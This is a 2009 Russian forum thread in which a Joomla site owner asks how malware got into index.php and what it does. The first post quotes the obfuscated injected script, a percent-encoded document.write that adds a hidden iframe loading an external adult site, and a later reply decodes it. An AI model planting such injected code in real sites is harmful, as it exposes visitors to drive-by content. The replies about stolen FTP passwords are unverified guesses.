DiDen Сообщение 17/03/2009 10:51 Копия темы
про вирусы на сайтах  . вопрос к спецам... Каким образом на сайт проникают вирусы и проч гадость?
У меня сайт на джумле 1.0.15. При подключении аваст выдал, что сайт заражен... Проверил, действительно в index.php появилось это(начало про то, что это яваскрипт пропущу):


document.write(unescape('%3C%49%46%52%41%4D%45%20%73%74%79%6C%65%3D%22%57%49%44%54%48%3A%20 %30%25%3B%20%48%45%49%47%48%54%3A%20%30%70%78%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%62% 69%61%6E%2D%67%69%72%6C%68%61%72%64%2E%63%6F%6D%2F%70%72%6E%2F%69%6E%64%65%78%2E%70%68%70%3F%74%3D%3 3%22%20%66%72%61%6D%65%42%6F%72%64%65%72%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%20%61%6C%6C%6F %77%54%72%61%6E%73%70%61%72%65%6E%63%79%3E%3C%2F%49%46%52%41%4D%45%3E'));
//

Как понимаю, тут что-то зашифровано.. В общем 2 вопроса:
что оно делает?
откуда оно пришло?

Marbeya Сообщение 17/03/2009 10:54 Копия темы
 .
У меня был вирус на сайте как-то раз, сказали через фтп, а дальше не знаю

DiDen Сообщение 17/03/2009 10:56 Копия темы
 .
слабо я верю в то, что фтп ломанули.. Хостинг РБК. я его надежным считаю. Сам я пароль нигде не свечу...

pankixoi2113 Сообщение 17/03/2009 11:25 Копия темы
 .
джумла сама по себе очень дырявая... возможно что права на файлы стояли не такие как надо

girichev Сообщение 17/03/2009 12:14 Копия темы
 .
> что оно делает?

Вставляет фрэм с порно сайта.

> откуда оно пришло?

Возможно через FTP, смените пароли.

somistar Сообщение 17/03/2009 12:48 Копия темы
 .
если пользуетесь программой к ftp то программа сама сохраняет пароли к ftp.
и таким способом прописывается код. у меня на сайте бывает такое.

Saint_Partizan Сообщение 17/03/2009 13:33 Копия темы
 .
Вставляет во это:
<IFRAME style="WIDTH%3 A 0%; HEIGHT: 0px" src=" адрес удален " frameBorder=0 scrolling=n%6 F allowTransparency></IFRAME>

От модератора: не размещайте адреса сайтов, нарушающие правила ресурса, будьте внимательней, пожалуйста.

otmena Сообщение 17/03/2009 13:46 Копия темы
 .
Мне кажется, это этот... НЛО!